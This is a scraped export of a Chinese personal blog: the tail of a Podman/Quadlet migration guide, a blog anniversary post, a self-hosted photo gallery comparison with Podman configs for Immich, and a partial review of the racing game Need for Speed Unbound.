文件分别描述基于K8S的服务、容器网络设备和卷。\n编辑完成后，要将上面的文件放进下面的目录之一2：\n$HOME/.config/containers/systemd/（rootless container） /usr/share/containers/systemd/ /etc/containers/systemd/ 然后运行 systemd daemon-reload，就可以自动生成对应的systemd unit。比如在我的设备上，刚刚的 redis.container 生成的systemd unit就在 /run/systemd/generator/redis.service：\nini 复制代码 # Automatically generated by /usr/lib/systemd/system-generators/podman-system-generator # [Unit] Description=Redis container SourcePath=/etc/containers/systemd/redis.container RequiresMountsFor=%t/containers [X-Container] Image=docker.io/redis PublishPort=6379:6379 User=999 [Service] Restart=always Environment=PODMAN_SYSTEMD_UNIT=%n KillMode=mixed ExecStop=/usr/bin/podman rm -f -i --cidfile=%t/%N.cid ExecStopPost=-/usr/bin/podman rm -f -i --cidfile=%t/%N.cid Delegate=yes Type=notify NotifyAccess=all SyslogIdentifier=%N ExecStart=/usr/bin/podman run --name=systemd-%N --cidfile=%t/%N.cid --replace --rm --cgroups=split --sdnotify=conmon -d --user 999 --publish 6379:6379 docker.io/redis [Install] WantedBy=local.target 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # Automatically generated by /usr/lib/systemd/system-generators/podman-system-generator # [Unit] Description=Redis container SourcePath=/etc/containers/systemd/redis.container RequiresMountsFor=%t/containers [X-Container] Image=docker.io/redis PublishPort=6379:6379 User=999 [Service] Restart=always Environment=PODMAN_SYSTEMD_UNIT=%n KillMode=mixed ExecStop=/usr/bin/podman rm -f -i --cidfile=%t/%N.cid ExecStopPost=-/usr/bin/podman rm -f -i --cidfile=%t/%N.cid Delegate=yes Type=notify NotifyAccess=all SyslogIdentifier=%N ExecStart=/usr/bin/podman run --name=systemd-%N --cidfile=%t/%N.cid --replace --rm --cgroups=split --sdnotify=conmon -d --user 999 --publish 6379:6379 docker.io/redis [Install] WantedBy=local.target 当然，放出来的目的只是展示会生成一个怎样的文件，实际有需要时都是编辑Quadlet的。\n从其他格式生成 坏消息是似乎无法直接为一个已经存在的容器生成Quadlet了；但也有好消息，只要能搞来 podman run 命令（或docker-compose YAML），就可以使用 PROTECTED_1 工具 生成Quadlet。比如：\nbash 复制代码 $ podlet podman run --name redis -p 6379:6379 --restart always --user 999 docker.io/redis # redis.container [Container] Image=docker.io/redis ContainerName=redis PublishPort=6379:6379 User=999 [Service] Restart=always 1 2 3 4 5 6 7 8 9 10 $ podlet podman run --name redis -p 6379:6379 --restart always --user 999 docker.io/redis # redis.container [Container] Image=docker.io/redis ContainerName=redis PublishPort=6379:6379 User=999 [Service] Restart=always 开机启动 截至编写本文时，由于Quadlet生成的systemd unit是自动生成、可能改变的，所以无法enable3（会提示 Failed to enable unit: Unit is transient or generated）。\n解决办法是在Quadlet中添加任何 [Install] 栏的内容，比如之前的 redis.container，或者参考官方文档的做法：\nini 复制代码 [Install] WantedBy=multi-user.target default.target 1 2 [Install] WantedBy=multi-user.target default.target 然后就可以自动开机启动了。\n自动更新镜像 Red Hat 文档\n手动重新找到同样的参数更新，不仅麻烦还不安全。Podman自带了一个 auto-update 工具，可以自动更新镜像，但依赖systemd unit。\n适用于 PROTECTED_0 的方法（已弃用） 先创建个新容器，至于用 run 还是 create 其实都没什么关系。但不要忘了指定 io.containers.autoupdate label。属性可以为 registry 或者 local。\nbash 复制代码 podman create --label io.containers.autoupdate=registry --name \u0026lt;container_name\u0026gt; \u0026lt;image_name\u0026gt; 1 podman create --label io.containers.autoupdate=registry --name \u0026lt;container_name\u0026gt; \u0026lt;image_name\u0026gt; 然后还要创建一下systemd单元，方法如上，这里再次建议单元名为容器友好名称，或者那个64位的随机hex值。\n在上文容器Quadlet中的 [Container] 一栏中，添加一行 AutoUpdate=，后面的值从下面的选项中选一个：\nregistry：更新的时候会pull一下 local：有需要的时候得手动pull，如果本地镜像更新，用本地的替换 启用systemd单元后，建议先试一下：\nbash 复制代码 podman auto-update --dry-run 1 podman auto-update --dry-run 看名字也知道不会真的更新，只不过看看是不是配置对了。真正更新的时候把 --dry-run 去掉就行。\n这玩意看起来更像是 apt update \u0026amp;\u0026amp; apt upgrade 或者 pacman -Syu 之类的工具。如果更新失败，它也会自动进行回滚。\nNetavark和Nftables Netavark是Podman依赖的网络组件，后者需要前者创建虚拟网络等。而Nftables是iptables的替代品，依托Netfilter，用于创建防火墙规则或重定向等操作。\nNetavark的默认后端是iptables。当Podman涉及到创建Pod等与虚拟网络有关的操作时，iptables-nft会操作Nftables创建一个链，而这个链的名字常常因为各种原因已经使用，于是会出现以下错误信息：\nplaintext 复制代码 Error: starting container xxxxx: netavark: code: 1, msg: iptables: Chain already exists. 1 Error: starting container xxxxx: netavark: code: 1, msg: iptables: Chain already exists. 这时需要在 /etc/containers/containers.conf 里，将后端替换为Nftables4：\nconf 复制代码 [network] firewall_driver = \u0026#34;nftables\u0026#34;[network] firewall_driver = \u0026#34;nftables\u0026#34; 如果版本比较老，可以改成 \u0026quot;none\u0026quot;。\nhttps://github.com/containers/quadlet/blob/main/examples/quadlet-redis.container\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.redhat.com/sysadmin/quadlet-podman\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://github.com/containers/podman/discussions/17744\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://github.com/containers/netavark/issues/339\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"March 7, 2023","matchCount":0,"permalink":"/post/from-docker-to-podman/","preview":"","title":"从 Docker 到 Podman"},{"content":"本科生活已经进入了第三年的下半，而博客也开了两个年头。\n从上个年终总结后算起，一整年写了22篇文章，产量相比第一年少了一半多，但我不会腆着脸说每篇都凝聚了我更多心血，以此掩盖我拖更的表现。相反我会直截了当地说，我就是懒得写你能拿我咋地。\n我仍然坚持博客不是为写而写，而是有感而发，脑子里有了想要分享的东西才会值得写文章。感受多就会写得多，就像 6000+ 字锐评极品飞车 22，等了三年的我实在是失望；感受少就写得少，甚至直接雪藏进草稿箱，比如ext4转btrfs的文章，想了想跟网上别人的文章没啥区别，索性就不发了。\n更何况这一年遇到了更多重要课程和负责的老师，也遇到了更多答辩课程和傻 * 老师，当然就没时间在网上乱逛瞎写文章了。当然我还是很自豪能写出 那几篇计系课程实验文章 的，自认为质量能排在全网前十。\n连带着老文章的更新似乎也怠慢了，果然人还是有新鲜劲儿的，过去之后就索然无味了（笑）。当时还有志于保持之前的文章更新，现在发现这么多文章也更不过来。\n这一年里遇到了一件非常邪门的事情，yuexia.shop等几个网站似乎做了一个本站的反代，内容几乎完全一样，只不过将所有cyp0633.icu全替换成了它的域名。当然它只能反代我主站的内容，这样umani统计代码就无法正常加载，也幸亏做过了防盗链，假网站当然是加载不出来图的。这几个网站也是欺人太甚，Google上都会索引那些网站了。\n我也不是没想过反抗，之前给它们的服务器提供商发了一个report abuse，然而之后就杳无音讯。前端倒是可以做一些验证，不过我实在对PHP一窍不通。算了，随它去吧，等到有什么有效的办法再说。\n假期也想过用Caddy替换Nginx，但后来发现也没什么必要，docker套娃也不是不能跑。要是我新开一个站，肯定毫无疑问会迁移到Caddy。其实我是有抛弃WordPress，使用Hugo之类静态博客的想法的，仍然是苦于没有时间精力，自然也是无限期耽搁了。\n大刀阔斧干掉了几个插件，天天顾及那统计数据其实也没啥意思，毕竟什么都带不来，隔几天瞅几眼Umani就行了。顺便介绍一下，Umani会收集更少的数据，没必要的数据也没啥用处。\n这篇文章我设定了20日当天0点发出，我也不知道剩下这点时间能够憋出多少想说的，说多少发多少吧。\n","date":"February 19, 2023","matchCount":0,"permalink":"/post/2nd-anniversary/","preview":"","title":"实际上没有什么意义的两周年"},{"content":"一个自行部署的照片托管解决方案伪横评（真水文）。\n使用设备：Celeron N5105（无AVX指令集），16G RAM，512G SSD；Arch Linux，容器环境Podman\n个人的需求其实很简单，只是一个相册分类 + 照片时间线预览。要说特殊需求大概就是有大量的HEIC图片，毕竟谁的空间也不是大风刮来的，另外最好能够用类MySQL。 要说人还是闲不住，后面实测了Photoprism、Photoview和Immich，所以不知不觉变成真横评了。对于其他服务，可以看这个非常直观的表格。\n以下依据为个人2024/06的照片库，约10000张照片，40GB。\nPhotoprism photoprism/photoprism\n算是比较早的开源相册方案了，基本功能令人安心，但使用略有不便，且设置界面可设置的项较少。\nPhotoprism 会直接生成标签 数据库支持：MariaDB（MySQL）和SQLite，比较友好。 部署：方式为容器，需要设置大量环境变量作为配置，而不能在网页上直接修改，较为繁琐。 资源占用：不索引时（不含数据库）占用内存42MB左右，索引时约为220MB；数据库中数据65MB，缩略图等数据15GB；容器镜像1.88GB。 文件管理：支持导入和外部资料库，后者不改变原有文件结构；HEIC等格式图片会自动转换为JPEG。 人脸识别：识别不出几个人，水平不大行。 搜索：提前给图片生成标签，可以搜索，也可以自行添加标签。 Photoview photoview/photoview\n官方认可 AUR，好耶！相对来说，手动安装过程是最简单而且符合直觉的。托打包者和开发者的福，在安装AUR后，只需要修改一下配置文件里的MySQL连接参数（或者直接改成SQLite），然后启动systemd服务即可。功能相对来说简单，不过对我来说够用。人脸识别的准确度很一般，但对我来说也是锦上添花的功能。\n提示：如果不想或不能改变文件所有权，建议使用文件ACL setfacl -Rdm 命令为photoview用户授予循环继承权限。\n用下来几天发现了两个主要的问题，一个是一次导入过多照片的时候会卡住（假完成），阈值大约100张，另一个是HEIC图片的EXIF可能不能正确识别（提了 issue）。自从作者不太积极开发这个项目之后，感觉基本停滞了。\n虽然这个占用是真的小，但需要声明的是，索引的时候仍然会消耗较多CPU，除非每次都大半夜索引，否则还是没有想象中那么省性能的。\n数据库支持：MySQL或PostgreSQL。 部署：有AUR，有Systemd部署文档，但个人建议直接用容器。 资源占用：索引时250MB，日常10MB；缩略图等数据占用存储4.5GB，数据库20MB，镜像1.38GB。 文件管理：完全尊重外部文件结构，不会改变。但索引有些小bug，见上。 人脸识别：聊胜于无吧，精度不大行。 搜索：基于文件名的搜索，别的都没有。 Immich immich-app/immich\nImmich也是后起之秀了，现在Star比前辈Photoprism还多。它相对来说就比较复杂了，占用资源也多很多，算上数据库下来五个容器（但看起来不久之后会变成 4 个）。但是相对的，可自定义度也高很多，尤其是机器学习的部分。\n上述机器学习指的是人脸识别和图像搜索，均可以远程进行，即在性能强的机器上单独运行ML容器，然后通过API通信。这对人脸来说十分方便，因为较大的人脸识别模型占用很大，但对于基于CLIP的图像搜索来说就是另一回事了：不光在索引时需要机器学习模块，搜索时也需要。所幸CLIP搜索的原理为对图片和检索词分别生成向量，然后将两者进行对比，而消耗资源比较多的部分是生成图片向量，所以可以先用较强的远程机器生成图片向量，我NUC上的弱鸡CPU只用来跑检索。还算可以接受。\n数据库支持：PostgreSQL+Redis，需同时运行。 部署：似乎十分复杂，个人建议直接用容器。Docker Compose好说，Podman的话会非常麻烦。 资源占用：索引时内存基本上吃完（这是我的NUC头一次吃SWAP），如果使用NVIDIA硬件加速机器学习，还会占用约5-8GB显存（因为我卡只有8GB）；平时内存占用约400+200MB；缩略图等数据占用5.7GB（可使用WEBP，降低了占用），数据库563MB，镜像1.6GB+790MB（若使用CUDA则为4.55GB）。 文件管理：同时支持导入和外部资料库。 人脸识别：用较大模型的时候准确度蛮高的。 搜索：基于CLIP的自然语言搜索，遥遥领先，但缺点见上。也可以根据人脸、设备等条件筛选。 结语 很缺资源的选Photoview，性能足够的选Immich，嫌Photoview还不够强的选Photoprism。\n附录：将 Immich 部署为 Podman Pod 来源\n默认以rootful方式部署，将文件放在 /etc/containers/systemd 或其子目录下，systemctl daemon reload 后 systemctl start immich-server.service 即可。\n不要忘记修改下面的目录映射和环境变量。两个目录映射中，一个是内部存储（由Immich决定文件结构），一个是外部存储（保留用户的文件结构）。\nPod声明 immich.pod\nconf 复制代码 [Pod] PodName=immich PublishPort=2283:3001[Pod] PodName=immich PublishPort=2283:3001 immich.env\nconf 复制代码 # You can find documentation for all the supported env variables at https://immich.app/docs/install/environment-variables # Connection secret for postgres. You should change it to a random password. # The two values should match DB_PASSWORD=ZWEuFZHcEyuJJoR6 POSTGRES_PASSWORD=ZWEuFZHcEyuJJoR6 # The values below this line do not need to be changed ################################################################################### DB_HOSTNAME=immich_postgres DB_USERNAME=postgres POSTGRES_USER=postgres DB_DATABASE_NAME=immich POSTGRES_DB=immich REDIS_HOSTNAME=immich_redis IMMICH_MACHINE_LEARNING_URL=http://immich_machine_learning:3003# You can find documentation for all the supported env variables at https://immich.app/docs/install/environment-variables # Connection secret for postgres. You should change it to a random password. # The two values should match DB_PASSWORD=ZWEuFZHcEyuJJoR6 POSTGRES_PASSWORD=ZWEuFZHcEyuJJoR6 # The values below this line do not need to be changed ################################################################################### DB_HOSTNAME=immich_postgres DB_USERNAME=postgres POSTGRES_USER=postgres DB_DATABASE_NAME=immich POSTGRES_DB=immich REDIS_HOSTNAME=immich_redis IMMICH_MACHINE_LEARNING_URL=http://immich_machine_learning:3003 数据库容器 immich-postgres.container\nconf 复制代码 [Container] Pod=immich.pod ContainerName=immich_postgres EnvironmentFile=immich.env Image=docker.io/tensorchord/pgvecto-rs:pg14-v0.2.0@sha256:90724186f0a3517cf6914295b5ab410db9ce23190a2d9d0b9dd6463e3fa298f0 Volume=pgdata:/var/lib/postgresql/data HealthCmd=[\u0026#34;/usr/bin/pg_isready\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always[Container] Pod=immich.pod ContainerName=immich_postgres EnvironmentFile=immich.env Image=docker.io/tensorchord/pgvecto-rs:pg14-v0.2.0@sha256:90724186f0a3517cf6914295b5ab410db9ce23190a2d9d0b9dd6463e3fa298f0 Volume=pgdata:/var/lib/postgresql/data HealthCmd=[\u0026#34;/usr/bin/pg_isready\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always 缓存容器 immich-redis.container\nconf 复制代码 [Container] Pod=immich.pod ContainerName=immich_redis Image=docker.io/redis:6.2-alpine@sha256:51d6c56749a4243096327e3fb964a48ed92254357108449cb6e23999c37773c5 HealthCmd=[\u0026#34;/usr/local/bin/redis-cli\u0026#34;, \u0026#34;ping\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always [Install] WantedBy=multi-user.target[Container] Pod=immich.pod ContainerName=immich_redis Image=docker.io/redis:6.2-alpine@sha256:51d6c56749a4243096327e3fb964a48ed92254357108449cb6e23999c37773c5 HealthCmd=[\u0026#34;/usr/local/bin/redis-cli\u0026#34;, \u0026#34;ping\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always [Install] WantedBy=multi-user.target 机器学习容器 immich-machine-learning.container（本地，无硬件加速）\nconf 复制代码 [Container] Pod=immich.pod ContainerName=immich_machine_learning EnvironmentFile=immich.env Environment=HF_ENDPOINT=https://hf-mirror.com Environment=LOG_LEVEL=debug Image=ghcr.io/immich-app/immich-machine-learning:release AutoUpdate=registry Volume=model-cache:/cache HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3003\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always[Container] Pod=immich.pod ContainerName=immich_machine_learning EnvironmentFile=immich.env Environment=HF_ENDPOINT=https://hf-mirror.com Environment=LOG_LEVEL=debug Image=ghcr.io/immich-app/immich-machine-learning:release AutoUpdate=registry Volume=model-cache:/cache HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3003\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always 机器学习容器 immich-machine-learning.container（远程，CUDA加速）\nconf 复制代码 [Container] ContainerName=immich_machine_learning Image=ghcr.io/immich-app/immich-machine-learning:release-cuda Volume=model-cache:/cache HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3003\u0026#34;] HealthStartPeriod=30s AutoUpdate=registry PublishPort=3003:3003 HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy Environment=LOG_LEVEL=debug Environment=HF_ENDPOINT=https://hf-mirror.com AddDevice=nvidia.com/gpu=all [Service] Restart=always[Container] ContainerName=immich_machine_learning Image=ghcr.io/immich-app/immich-machine-learning:release-cuda Volume=model-cache:/cache HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3003\u0026#34;] HealthStartPeriod=30s AutoUpdate=registry PublishPort=3003:3003 HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy Environment=LOG_LEVEL=debug Environment=HF_ENDPOINT=https://hf-mirror.com AddDevice=nvidia.com/gpu=all [Service] Restart=always 微服务（如索引等）容器 immich-microservices.container（带有Intel QSV支持）\nconf 复制代码 [Unit] Requires=immich-redis.service immich-database.service After=immich-redis.service immich-database.service [Container] Pod=immich.pod ContainerName=immich_microservices EnvironmentFile=immich.env Exec=start.sh microservices Image=ghcr.io/immich-app/immich-server:release Volume=/path/to/internal/storage:/usr/src/app/upload:z Volume=/etc/localtime:/etc/localtime:ro Volume=/path/to/external/storage:/usr/src/app/external:z HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3002\u0026#34;] HealthStartPeriod=30s AddDevice=/dev/dri HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always[Unit] Requires=immich-redis.service immich-database.service After=immich-redis.service immich-database.service [Container] Pod=immich.pod ContainerName=immich_microservices EnvironmentFile=immich.env Exec=start.sh microservices Image=ghcr.io/immich-app/immich-server:release Volume=/path/to/internal/storage:/usr/src/app/upload:z Volume=/etc/localtime:/etc/localtime:ro Volume=/path/to/external/storage:/usr/src/app/external:z HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3002\u0026#34;] HealthStartPeriod=30s AddDevice=/dev/dri HealthInterval=10s HealthTimeout=5s HealthRetries=5 Notify=healthy [Service] Restart=always 主服务容器 immich-server.container\nconf 复制代码 [Unit] Requires=immich-redis.service immich-database.service immich-microservices.service After=immich-redis.service immich-database.service immich-microservices.service [Container] Pod=immich.pod ContainerName=immich_server EnvironmentFile=immich.env Exec=start.sh immich Image=ghcr.io/immich-app/immich-server:release AutoUpdate=registry Volume=/path/to/internal/storage:/usr/src/app/upload:z Volume=/etc/localtime:/etc/localtime:ro Volume=/path/to/external/storage:/usr/src/app/external:z HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3001\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=30s HealthRetries=10 Notify=healthy [Service] Restart=always [Install] WantedBy=default.target[Unit] Requires=immich-redis.service immich-database.service immich-microservices.service After=immich-redis.service immich-database.service immich-microservices.service [Container] Pod=immich.pod ContainerName=immich_server EnvironmentFile=immich.env Exec=start.sh immich Image=ghcr.io/immich-app/immich-server:release AutoUpdate=registry Volume=/path/to/internal/storage:/usr/src/app/upload:z Volume=/etc/localtime:/etc/localtime:ro Volume=/path/to/external/storage:/usr/src/app/external:z HealthCmd=[\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;exec 5\u0026lt;\u0026gt;/dev/tcp/127.0.0.1/3001\u0026#34;] HealthStartPeriod=30s HealthInterval=10s HealthTimeout=30s HealthRetries=10 Notify=healthy [Service] Restart=always [Install] WantedBy=default.target 网络上的其他讨论可见 Reddit 帖 1、Reddit 帖 2\n","date":"January 11, 2023","matchCount":0,"permalink":"/post/personal-gallery/","preview":"","title":"该如何安放你，我的照片"},{"content":"三年啊三年，没有新极品飞车玩的三年真就只能玩极限竞速了。坦白说，经过Ghost Games重组、换开发工作室、C社（Criterion Games）被抽调开发某一坨屎之类几件事，我都不对下一代极品飞车整新活抱什么期待了。但这次C社破釜沉舟，机制与之前大不一样，就像标题的『魂』指的并不是 “赛车游戏的精髓”，而是《黑暗之魂》。\n在线内容：十年前都没这么膈应人 从18开始，极品飞车的联机策略就是 “单人模式和多人模式属于同一个世界”，即可以在多人模式中过剧情、做任务，进度相互继承；但这次单人的剧情模式和多人模式，金钱不同，车库不同，人物不同，解锁的内容也不同。\n自从Rivals开始，就能够将多人模式房间与单人玩法相融合；隔壁的地平线4能够支持高达60人的房间；地平线5更是直接破除了房间的概念，直接从服务器中找出附近的人放在地图中；而在本作中，则必须显式地寻找在线游戏，然后加入。\n这倒是让我想起来战地1和5的策略，不过这两作的剧情模式，好像也没有什么东西能够继承下来。与之相反，极品飞车在单人和多人模式要各自攒钱买车，大部分的车还不能直接买，有点难绷。如果说是为了防止线上玩法反哺单人资金，那也可以把联机锁到单人剧情完成之后。当然最好的办法还是别惦记那点破代币了，直接打通完事。\nEA的游戏，在线服务永远不会让人失望。这款游戏似乎也是有云存档的，但托新一代烂橘子的福，在退出游戏后再进入（为什么？出了bug啊），会提示存档已丢失，需要等一会。另外，在国际线路良好的情况下，大约只有五分之一的时间能上线成功。\n剧情：赛车游戏要什么剧情 以下内容含有剧透\n剧情就是本来车行经营得好好的，突然被人背叛并抢了个一干二净，于是主角选择加入抢劫者举办的赛事复仇。最后二者重归于好，成为Lakeshore最顶级的车手。\n不光像《极品飞车：复仇》，这一代的主线基本就是老式美国片的复仇剧情。倒也没什么好说的，除了《亡命天涯》那一代，整个系列的剧情基本停留在 “有” 的水平上，算是符合预期。可能编剧还是不甘于老一套，非要在最后搞出个大团圆，然而后续也没交待清楚，匪夷所思。真要看剧情我还不如玩原神。\n主线到第一周打了八小时，打通剧情用了22小时，在历代NFS里算是长的。但实际内容其实并没有多少，尤其是在主线剧情老套且单调的情况下。刚开始的新鲜感在一周推进一次的间隔和变态的赛事设定中很容易被消耗殆尽。通俗的说，就是很明显的强行拖时间。\n剧情经不起品，爽度又不够（见下），我只能高情商地说，这主线比隔壁的极限竞速丰富多了。\n赛事与AI：真正的『魂』所在 简而言之，这是一部没有回头路，必须硬着头皮打下去的游戏。赛事机制方面折磨人的地方大概体现在以下几点。\n初期名次极难靠前，打击玩家自信心和兴趣；\n每天给予有限的赛事重开次数，积累不能超过10次；\n大多赛事需要入场费，名次靠后会倒贴钱；\n同一阶段（日或夜）同样赛事只能进行一次，故只能获取一次奖励；\n综合1、3、4，赚不到几个钱，造成车的选择远大于努力；\n进入车库强行推进时间进度、刷新比赛（除非还没赚钱），旧的赛事就没了；\n也是由于上一条，每个阶段之内不能更改调校（但可以换车）；\n初期玩家只有一辆车，而安排高额奖励的漂移赛事，抓地车辆吃亏；\nAI撞不动，投机取巧难以获胜。\n最关键的是，这些全部是基于简单难度作出的陈述，这就意味着本作没有 “促销难度”。\n一些唠叨，是上面几点的解释\n由于线性剧情的存在，历来极品飞车较喜欢用绝对难度为赛事分级，后期可以使用强大的车辆挑战前期的比赛。其实本作的安排仍然与其类似，但游戏第一周玩家不如AI的车辆，又碰上本身就很强的AI，恐怕有不少人会被劝退，毕竟各平台普遍游玩两小时内可以退款。这一代AI也特别能皮筋，一点失误能造成被落下200多米。我也是RAC老手了，技术还是有自信的，可以肯定地说就是设计问题。\n如果说赛事难度设定是打击自信心，那么有限重开和入场费制度就把后退的路都封死了。每天能获得有限的重开次数，可以累加；大部分比赛要求入场费，可能占到预期最高奖金的20-50%。一旦挑战了入场费高而不亏本的可能性不大的赛事，要么亏掉好几次重开机会，要么自己贴钱输比赛，要么两个都亏掉。\n有人可能说，那也有不要钱的比赛呀。想得不错，但赛事一旦结束，就不能再重开了，必须跑到一半重开或结算前重开。不仅如此，每个日夜也会强制推进进度，提供新的赛事。对于车技差的人，每天或是明哲保身只赚不要出场费的一点奖金，或是亏个底朝天回藏匿点，没钱升级车辆，而周六又必须开着高等级车参加排位赛…… 倒是每周排位赛入场费不够的话，能重复周五晚上的比赛刷钱。\n没几天就出现了漂移赛，鉴于漂移手感太诡异，我已经在抓地的道路上一去不复返了，我当然不可能再一下子调好一辆漂移车，买车又没钱，只有一辆车的时候又不能卖车。然而进入车库就强制推进剧情，比如进入时是白天，出来时就不能还是白天，每一个阶段就只能用一种调校，于是即使能调，也不能漂移赛事跑漂移、其他赛事跑抓地。送的三辆车也有不同调校倾向，在明知道玩家第一周没钱调出第二辆车的情况下加入漂移赛，无疑是一手强抬漂移。\n玩过地平线系列的玩家或许会想起，在跑不过比赛的时候可以在弯道撞击其他车手的车辆，俗称鱼雷。本作可不给玩家鱼雷的机会，每两名之间拉四五十米不说，最关键的是车很难撞出弯道。这其实算不上好或者坏，毕竟原来的NFS鱼雷玩法用的也不多。\n其实经济系统本身没有太大问题，平均每天晚上只要挣到哪怕三四千块钱，就能在第一周结束前把初始车升到A等级的上限；再把两万的门票费摊一摊，每天也就差不多六千。到了第三周，甚至一天能赚七八万，门票费也只有十万。所以上面说的大部分机制问题，都会随着时间的推进逐渐缓解。但还是不可否认初期会造成玩家焦虑，有一种被赛事赶着跑的感觉。\n警察：你逃，你追，你插翅难飞 警车的话其实我要给一个较为正面的评价，因为相比某几代跑到350的Crown Victoria，硬把玩家追上，然后狂野截停，这一代的警车没有多少攻击性。这次的警察更侧重于追和巡逻，会用尽一切可能找到玩家并维持追捕状态，此时玩家除了甩开警察，什么都干不了。\n这代继承了Heat中的通缉热度（火）机制，日夜也划分为了不同的游戏阶段。然而不像Heat中白天都是合法赛事，本作任何时候飙车都是违法的，所以白天也会攒火并继承到晚上了，不过这也使得日夜区分直接失去了灵魂，回到车库进行日夜转换只是大发慈悲给你一次调校车的机会罢了。有人提到警察比Heat来说容易很多，但也要记得，Heat白天根本没有警察。\n与其把钱赚完，不如多关注如何避免被过高的通缉热度搞得精疲力竭。在热度较高的时候，周围的巡逻警车会越来越多，甚至最高的5火时小地图范围内可能出现4辆警车 + 1架直升机，或者下图的7辆警车，一般情况下几乎不可能不被发现，也极难甩开。所以我直接建议入手的读者不要在前期尝试5火。\n有Reddit的玩家提到，可以给车购买警车发现时间翻倍的选装件，即使从身边开过去也不会追捕了，但这三万四的价格…… 算了，还是节制比赛，避免攒火。\n画质与优化：E眼顶针，鉴定为不如PG 我可能真的被极限竞速——准确来说，地平线4的优化水平惯坏了。\n贴几张图，这几张运行在默认动态画质、2K分辨率（开启动态分辨率）下，读者可以感受一下。\n各位应该发现了上图中路边的行人，是的，在《极品飞车》的世界中，终于有行人了。行人的行为很有意思，车冲上去的时候行人一定会闪开，地平线里的小动物一样。但讲真，这玩意对于体验有一定的负面作用，撞人增强负罪感（误）不说，行人躲开的一瞬间会剧烈掉帧，目测能从40-50帧掉到10帧左右。有些读者应该记得《刺客信条：大革命》，它吃配置的一大原因就是NPC过多。\n但是这款游戏也不至于优化很差，或者说本来可以不那么差。以下截图时运行在中画质、2K分辨率、FSR 2质量档。40帧左右。\n这一代的暗处相对来说对比不那么强烈，整体也更黑，难以看清四周的事物，白天色彩也更冷淡，“寒霜感” 甚至重于战地3，在比赛中也是一样。这也可以算是游戏难度的一部分。\n不得不说这个车辆画质是真的吊，但粗糙的贴图地面和贴图灌木属实是大煞风景，感觉像是跨越20年的对比。\n在一些场景下车辆表面会附着一层水珠，不管开多快都不会干，权当这是来自Rivals的画质欺骗小把戏吧。\n经过一段时间的对比可以发现，固定的中画质和2K分辨率设置下，开启FSR 2，图形质量和流畅度均高于默认的动态画质和分辨率、关闭任何超采样设定。甚至行人的掉帧相比之前的数据，都减缓了很多。这匪夷所思的默认选项，无疑会大幅度拉低玩家对此的印象。\n同属于发售初期，bug比地平线5当时的情况好不少，基本都是无伤大雅的bug。\n地图：不设传送是对面积的不自信 地图面积其实尚可，个人感觉处于NFS的正常水平，但不设快速传送难道是觉得地图不够大，一下子就跑完了？其实也没有那么惨，一路上要躲警车、躲直升机，树林还不能随便穿。这作与看门狗一样是以芝加哥为原型的，连带着剧情也沾上了一些铁锈带的气息。\n十分好评的是，在道路之外可以驾驶的地方越来越多了。越来越多的围栏可以撞碎，车也可以开往更广阔的非铺装路面。可以在森林中躲警察，也可以穿过原野抄近道。但正如你在前面截图中所看到的，路面之外的建模质量实在不敢恭维。当开到看似能开的地方时，又会突然传送回先前的地方，属于是能开但不完全能开。\n说到撞碎，感觉这一代的场景物品只有两种形态，怎么撞都撞不动的铜墙铁壁，和一碰就碎的气球。气球一样的铁护栏，气球一样的机器人彩蛋收集物，气球一样的油漆桶，气球一样的木栅栏，还寒霜呢，这连战地3都不如，寒霜了个寂寞。隔壁的地平线都知道没有一定速度撞不动石墙，撞碎散落的石块还有真实的物理体积，合着这一代个个都是泥头车是吧。而薄薄的木板墙却怎么着也撞不碎，令人匪夷所思。\n有些细节似乎会随着进度推移而发生动态变化，如下图广告牌的涂鸦：\n语音与音乐：哦，老天，真是活见鬼 这次也是破天荒地加入了普通话配音，但玩了好久才想起来去查查 